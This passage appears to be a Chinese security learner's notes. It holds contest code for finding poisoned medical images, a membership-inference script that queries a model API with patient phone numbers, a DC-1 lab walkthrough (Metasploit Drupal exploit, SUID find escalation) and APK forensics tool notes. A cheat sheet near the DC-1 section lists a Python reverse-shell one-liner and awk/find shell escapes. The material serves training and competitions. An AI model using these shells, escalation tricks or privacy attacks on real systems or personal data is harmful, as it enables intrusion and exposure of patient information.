
 if norm1 == 0 or norm2 == 0:

  return 0

 return dot_product / (norm1 * norm2)

  

def find_most_similar_image():

 """查找与投毒样本最相似的图像"""

 print(" 正在获取投毒样本的嵌入向量...")

 poison_embedding = get_embedding(poison_image_path)

 if poison_embedding is None:

  print(" 无法获取投毒样本的嵌入向量")

  return None

 print(f" 投毒样本嵌入向量维度: {len(poison_embedding)}")

 print(" 开始处理500张医疗影像...")

 max_similarity = -1

 most_similar_id = None

 most_similar_filename = None

 # 处理500张图像

 for i in tqdm(range(1, 501)):

  image_path = f"temp{i}.png"

  if not os.path.exists(image_path):

    print(f" 文件不存在: {image_path}")

    continue

  embedding = get_embedding(image_path)

  if embedding is not None:

    similarity = cosine_similarity(poison_embedding, embedding)

    if similarity > max_similarity:

      max_similarity = similarity

      most_similar_id = i

      most_similar_filename = image_path

      print(f" 发现更高相似度: ID={i}, 相似度={similarity:.4f}")

 return most_similar_id, most_similar_filename, max_similarity

  

def get_patient_ct_image(patient_id):

 """从患者管理系统获取CT影像文件名"""

 # 根据题目描述，患者ID为1的CT影像文件名为：1_ca7ca8f0-dc93-42dc-9d02-ede0c07732fa.png

 # 在实际环境中，这里需要调用相应的API来获取文件名

 # 由于题目给出了具体文件名，我们直接使用

 return f"{patient_id}_ca7ca8f0-dc93-42dc-9d02-ede0c07732fa.png"

  

def calculate_md5(image_path):

 """计算图像的MD5哈希值"""

 try:

  with open(image_path, 'rb') as f:

    file_hash = hashlib.md5()

    chunk = f.read(8192)

    while chunk:

      file_hash.update(chunk)

      chunk = f.read(8192)

    return file_hash.hexdigest()

 except Exception as e:

  print(f" 计算MD5时出错: {e}")

  return None

  

def main():

 result = find_most_similar_image()

 if result is None:

  print(" 未找到相似图像")

  return

 similar_id, similar_filename, similarity_score = result

 print(f" n最相似图像信息:")

 print(f" ID: {similar_id}")

 print(f" 文件名: {similar_filename}")

 print(f" 余弦相似度: {similarity_score:.6f}")

if __name__ == "__main__":

 main()

对抗性推理1

手动修改

对抗性推理3

这里只做到第一步，第二步那个实在不会

模型隐私攻击1

这个只拿了7分，实在没时间做了

import requests

import pandas as pd

import numpy as np

import json

import time

from tqdm import tqdm

  

class MemberInferenceAttack:

   def __init__(self, api_url="http://192.168.69.202:19305/predict"):

      self.api_url = api_url

      self.headers = {

        "Host": "192.168.69.202:19305",

        "Accept-Language": "zh-CN,zh;q=0.9",

        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",

        "Content-Type": "application/json",

        "Accept": "*/*",

        "Origin": "http://192.168.69.202:19305",

        "Referer": "http://192.168.69.202:19305/",

        "Accept-Encoding": "gzip, deflate, br",

        "Connection": "keep-alive"

      }

   def query_model(self, text, num_queries=5):

      """多次查询模型，获取置信度波动"""

      probabilities = []

      for i in range(num_queries):

        data = {"text": str(text)}

        try:

          response = requests.post(self.api_url, headers=self.headers, json=data, timeout=10)

          if response.status_code == 200:

            result = response.json()

            # 这里需要根据实际API响应调整

            # 假设API返回格式为:{"probabilities": [0.1, 0.2, 0.7]}

            if "probabilities" in result:

                probabilities.append(result["probabilities"])

            elif "score" in result:

                probabilities.append([result["score"]])

            elif "prediction" in result:

                probabilities.append([result["prediction"]])

          else:

            print(f"请求失败: {response.status_code}")

            probabilities.append([0])

        except Exception as e:

          print(f"查询异常: {e}")

          probabilities.append([0])

        time.sleep(0.1) # 避免请求过快

      if not probabilities:

        return None

      # 计算置信度波动指标

      probs_array = np.array(probabilities)

      if probs_array.ndim == 1:

        probs_array = probs_array.reshape(-1, 1)

      # 计算平均置信度

      mean_confidence = np.mean(probs_array)

      # 计算置信度标准差（波动性）

      std_confidence = np.std(probs_array)

      # 计算最大置信度

      max_confidence = np.max(probs_array)

      # 计算熵（不确定性）

      if probs_array.shape[1] > 1:

        entropy = -np.sum(probs_array * np.log(probs_array + 1e-10), axis=1).mean()

      else:

        entropy = 0

      return {

        "mean_confidence": float(mean_confidence),

        "std_confidence": float(std_confidence),

        "max_confidence": float(max_confidence),

        "entropy": float(entropy),

        "raw_probabilities": probabilities

      }

   def analyze_patients(self, patient_data_path, output_path="submit.csv"):

      """分析所有患者数据"""

      # 读取患者数据

      try:

        df = pd.read_excel(patient_data_path)

      except:

        # 如果无法读取excel，假设是CSV格式

        df = pd.read_csv(patient_data_path)

      print(f"共读取{len(df)}条患者数据")

      results = []

      for idx, row in tqdm(df.iterrows(), total=len(df)):

        patient_id = row["id"]

        patient_name = row["患者姓名"]

        phone = row["手机号"]

        # 使用手机号作为查询文本（根据任务描述）

        query_text = str(phone)

        # 查询模型

        metrics = self.query_model(query_text, num_queries=3)

        if metrics:

          # 计算成员推断得分

          # 训练数据通常有更高的置信度和更低的波动性

          member_score = metrics["mean_confidence"] * (1 - metrics["std_confidence"])

          if metrics["entropy"] > 0:

            member_score = member_score * (1 - metrics["entropy"])

          results.append({

            "id": patient_id,

            "phone": phone,

            "name": patient_name,

            "member_score": member_score,

            "mean_confidence": metrics["mean_confidence"],

            "std_confidence": metrics["std_confidence"],

            "entropy": metrics["entropy"]

          })

        else:

          results.append({

            "id": patient_id,

            "phone": phone,

            "name": patient_name,

            "member_score": 0,

            "mean_confidence": 0,

            "std_confidence": 0,

            "entropy": 0

          })

      # 按成员得分排序

      results_df = pd.DataFrame(results)

      results_sorted = results_df.sort_values("member_score", ascending=False)

      # 选择前200个作为推断的训练集成员

      top_200 = results_sorted.head(200)

      # 生成提交文件

      submit_df = pd.DataFrame({

        "id": range(1, 201), # id从1到200

        "phone": top_200["phone"].values[:200]

      })

      submit_df.to_csv(output_path, index=False, encoding="utf-8")

      print(f"提交文件已生成: {output_path}")

      print(f"选择的手机号数量: {len(submit_df)}")

      # 保存详细结果

      results_sorted.to_csv("detailed_results.csv", index=False, encoding="utf-8")

      return submit_df, results_sorted

  

# 主程序

if __name__ == "__main__":

   # 初始化攻击器

   attacker = MemberInferenceAttack()

   # 执行攻击

   submit_df, detailed_results = attacker.analyze_patients(

      patient_data_path="患者信息.xlsx", # 修改为实际文件路径

      output_path="submit.csv"

   )

   print("\n前10个推断为训练集的样本:")

   print(submit_df.head(10))

   print(f"\n成员得分统计:")

   print(f"最高分: {detailed_results['member_score'].max():.4f}")

   print(f"最低分: {detailed_results['member_score'].min():.4f}")

   print(f"平均分: {detailed_results['member_score'].mean():.4f}")

DC-1靶场学习

2026-03-18T11:48:00.000Z

马上要去参加ciscn的isw了，学习一下基本方法
先同网下扫描，扫出ip是192.168.16.128，同时开启了80端口和22端口

80端口是web服务

分析是Drupal CMS

随后用msf看有没有漏洞
输入msfconsole进入后搜索Drupal的漏洞

输入options查看要输入些什么东西，输入RHOSTS发现无法执行

于是use 1

发现这个可以执行命令，输入shell设置模拟终端，输入ls看看

最后看当前目录有flag1

这里flag1提示我们找cms的配置文件
根据搜索，配置文件在sites/default/settings.php

得到flag2
这里提示爆破不能解决问题，因此要用别的方法

发现这里有mysql账号密码，尝试登录
发现反弹shell和基础shell都不能显示mysql界面
网上查了一下mysql需要建立起交互式shell
输入python -c 'import pty; pty.spawn("/bin/bash")'可以调出来

先use drupaldb
再show tables;

发现users和users_roles，先看users

发现有admin账号，尝试把密码重置了，后来搜索得到这里有更换密码的方法

根据这个方法得到了新密码

把密码改了

这样就成功登陆进去了

dashboard里看到有flag3

似乎是要找密码
查看/etc/passwd发现flag4，他的home地址在/home/flag4

找到flag4

提示说在root文件夹里有flag，那么涉及到提权了
先看哪些可执行文件有高权限
find / -perm -u=s -type f 2>/dev/null
发现有find，好玩了

SUID 特殊权限仅适用于可执行文件，所具有的功能是，只要用户对设有 SUID 的文件有执行权限，那么当用户执行此文件时，会以文件所有者的身份去执行此文件，一旦文件执行结束，身份的切换也随之消失。
在这里，find文件所有者为root，那么我们使用具有suid权限的find命令时，是以root用户的权限去执行的
同时find可以通过-exec执行命令
这里成功执行了whoami

这样就可以使用find提权打开root目录拿到最终的flag

总结一些提权的内容
find：find xxx -exec whoami \;
python：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
sudo：cat /etc/sudoers
sudo -l
awk：/usr/bin/awk 'BEGIN {system("/bin/sh")}'

APK取证分析

2026-02-28T04:02:00.000Z

来自培训资料，侵权请联系我删除，谢谢！

通过抓包应用，迅速定位和程序有关的域名和 ip 地址。
通过常用脱壳工具，轻松脱掉市面上大多数加壳。
通过绕检测工具，辅助我们使用虚拟机调试 APP 应用。
通过算法助手，轻松迅速的破解加密内容。

抓包工具

安卓上安装的

Packet Capture
无 Root 抓包，利用 packet capture 证书。
使用中间人技术对 SSL 解密。
显示文本或显示 16 进制

HTTP canary
一款专注于 http 协议抓包和注入得 Android 应用。
支持对 HTTP1.0/1.1/2/HTTPS/WebSocket/TLS/SSL 等网络协议抓取和注入
支持静态注入和动态注入模式
修改请求参数、请求头、请求体、响应码、响应头和响应体等数据
1.协议类型： HTTP TCP UDP
2.相应状态：
200请求成功
301资源被永久转移到其它 URL
404请求的资源（网页等）不存在
500内部服务器错误
3.部分请求信息

域名
服务器：IP 地址和端口
响应码：请求是否响应

点击预览，查看详细的请求数据（ json 字符串格式）

点击预览，查看详细的响应数据json 字符串格式）
此应用还可以解析返回数据为图片等其他格式。

进阶对抗：虚拟机+HTTP canary 绕过检测

将目标APP 安装在 Vmos 虚拟机中，在 Vmos 虚拟机外对 Vmos 进行抓包

r0capture

https://github.com/r0ysue/r0capture
无视所有证书校验或绑定；
通杀协议包括：
Http,WebSocket,Ftp,Xmpp,Imap,Smtp,Protobuf 等等、以及它们的 SSL 版本；
通杀所有应用层框架，包括 HttpUrlConnection 、Okhttp1/3/4 、 Retrofit/Volley 等等；
无视加固，不用考虑加固的事情；
（导图来自r0capture仓库）

Spawn 模式：python r0capture.py U f 包名 v
Attach 模式，抓包内容保存成 pcap 文件供后续分析：python r0capture.py U 包名 v p xxxx.pcap
Frida连接
在真机上安装的教程：AndroidSecurityStudy/FRIDA/A01/README.md at master · r0ysue/AndroidSecurityStudy · GitHub
1.端口转发后连接 adb
adb forward tcp:27042 tcp:27042
adb shell
2.Fridaserver 目录
data/local/tmp
3.运行 Frida server
./frida server

脱壳工具

apk信息查看软件APK Messenger

包名
加固类型
权限信息
签名信息

GDA（和jadx很像说是

GDA主页-亚洲首款交互式Android反编译器

易开发

易开发是一款帮助开发人员快速开发的工具，功能包括界面分析，页面信息，加固脱壳，支持Android9.0
GitHub - WrBug/DeveloperHelper: 易开发是一款帮助开发人员快速开发的工具，功能包括界面分析，页面信息，加固脱壳，支持Android9.0

数据信息：
SharedPreferences是Android 系统提供的通用的数据持久化框架，用于存储和读取 key value 类型的原始基本数据对。
SharedPreferences仅支持 boolean 、 float 、 int 、 long 和 string 等基本类型的存储。
SharedPreferences 主要用于存储系统的配置信息，类似于 Windows 下常用的 ini 文件。例如上次登录的用户名、上次最后设置的信息等，通过保存上一次用户所做的修改或者自定义参数设定，当再次启动程序后依然保持原有设置。它是用键值对的方式存储的，方便管理写入和读取。

BlackDex

针对一（落地加载）、二（内存加载）、三（指令抽取）代壳
GitHub - CodingGay/BlackDex: BlackDex is an Android unpack(dexdump) tool, it supports Android 5.0~12 and need not rely to any environment. BlackDex can run on any Android mobile phone or emulator, you can unpack APK File in several seconds.

反射大师

xposed 插件，支持进行安卓动态的修改，支持进行多种功能的修改。

Fdex2

XPosed 的一个插件
Hook ClassLoader 的loadClass 方法，反射调用 getDex 方法取得 Dex

其他工具

绕检测：对话框取消

除强制关闭对话框，防止被强制退出等功能，还有很多绕过检测的附加功能。

绕检测：RootCloak

点击 manage Apps ，选择要对抗检测的包名

绕检测：Xposed Hider

一款为 xposed 框架打造的隐藏模块，可以对 xposed 框架进行隐藏，有效地将各种应用无法检测出安装了 xposed 框架
红色为已选中

算法助手

红色为已查看
进入后主要检查【解密结果】
查看调用堆栈（找到关键代码位置）

查看目标文件位置，可以去实际文件验证
查看调用堆栈，找到关键代码位置

打开算法助手，可以看到一共有两栏，分别为应用和日志。

点击进入后在算法分析一栏中，勾选摘要算法、含密钥信息摘要和加密算法三项。

点击右上角启动调试的目标程序，程序运行后返回加密算法页面，到日志一栏就可以看到抓取到算法相关数据了

数据详细记录了加密算法的类型、加密的原文本、解密后的文本内容。

扩展：加解密技巧

常见加密算法
线性散列算法（签名算法）MD5
对称性加密算法AES DES DESede
非对称性加密算法RSA
MD5是一种被广泛使用的线性散列算法，可以产生出一个 128 位（ 16 字节）的散列值（ hash value ），用于确保信息传输完整的一致性。且 MD5 加密之后产生的是一个固定长度（ 32 位或 16 位）的数据。
常规讲MD5 是不存在解密的。但是理论上 MD5 是可以进行反向暴力破解的。暴力破解的大致原理就是用很多不同的数据进行加密后跟已有的加密数据进行对比，由此来寻找规律。理论上只要数据量足够庞大 MD5 是可以被破解的。但是要注意，破解 MD5 是需要考虑破解的成本（时间和机器性能）。
MD5增加破解难度
使用一段无意义且随机的私匙进行MD5 加密会生成一个加密串，我们暂且称之为串 1
将要加密的的数据跟串1 拼接，再进行一次 MD5 ，这时会生成串 2
将串2 再次进行 MD5 加密，这时生成的串 3 就是我们加密后的数据。
DES全称为 Data Encryption Standard ，即数据加密标准是一种使用密钥加密的算法。该加密算法是一种对称加密方式，其加密运算、解密运算需要使用的是同样的密钥（一组字符串）即可。

现在用
AES 这个标准来替代原先的 DES 。
AES和 DES 的区别：
加密后密文长度的不同
DES加密后密文长度是 8 的整数倍
AES加密后密文长度是 16 的整数倍
应用场景的不同
企业级开发使用DES 足够安全
如果要求高使用AES
DES和 AES 切换只需要修改 CryptoJS.AES <=> CryptoJS.DES
使用DES/AES 进行数据交互时要求双方都拥有相同的私匙
DES算法的入口参数有三个：Key、 Data 、 Mode padding 。
Key为 7 个字节共 56 位，是 DES 算法的工作密钥；
Data为 8 个字节 64 位，是要被加密或被解密的数据；
Mode为 DES 的工作方式。
padding为填充模式，如果加密后密文长度如果达不到指定整数倍（ 8 个字节、16 个字节），填充对应字符padding的赋值固定为 CryptoJS.pad.Pkcs7 即可
DESede是针对 DES 密钥长度偏短和迭代次数偏少等问题做了相应改进，提高了安全强度。
DESede算法将密钥长度增加至 112 位或 168 位，抗穷举攻击能力显著增强，但核心仍是 DES 算法，虽然通过增加迭代次数提高了安全性，但同时也造成了处理速度较慢，密钥计算时间加长，加密效率不高等问题。

RSA加密算法是一种非对称加密算法。在公开密钥加密和电子商业中RSA 被广泛使用。
非对称加密算法：
非对称加密算法需要两个密钥：公开密钥（publickey 简称公钥）私有密钥（privatekey 简称私钥）
公钥与私钥是一对，如果用公钥对数据进行加密，只有用对应的私钥才能解密。
因为加密和解密使用的是两个不同的密钥，所以这种算法叫作非对称加密算法。

Md5技巧

java.security.MessageDigest 类用于为应用程序提供信息摘要算法的功能，如 MD5 或 SHA 算法。简单点说就是用于生成散列码。
搜索大法：关键词MD5
https://www.somd5.com/
https://cmd5.com/
彩虹表：转（总结）密码破解之王：Ophcrack彩虹表(Rainbow Tables)原理详解（附：120G彩虹表下载）-腾讯云开发者社区-腾讯云
加盐（salt）

AES/DES技巧

Cipher对象中 Cipher.getInstance创建密匙主要使用SecretKeySpec 、 KeyGenerator 和KeyPairGenerator 三个类来创建密匙
https://www.mklab.cn/utils/aes
搜索大法：字符串AES/DES

Base64伪加密

Base64是一种用 64 个字符来表示任意二进制数据的方法。base64 是一种编码方式而不是加密算法。只是看上去像是加密而已。
https://base64.us/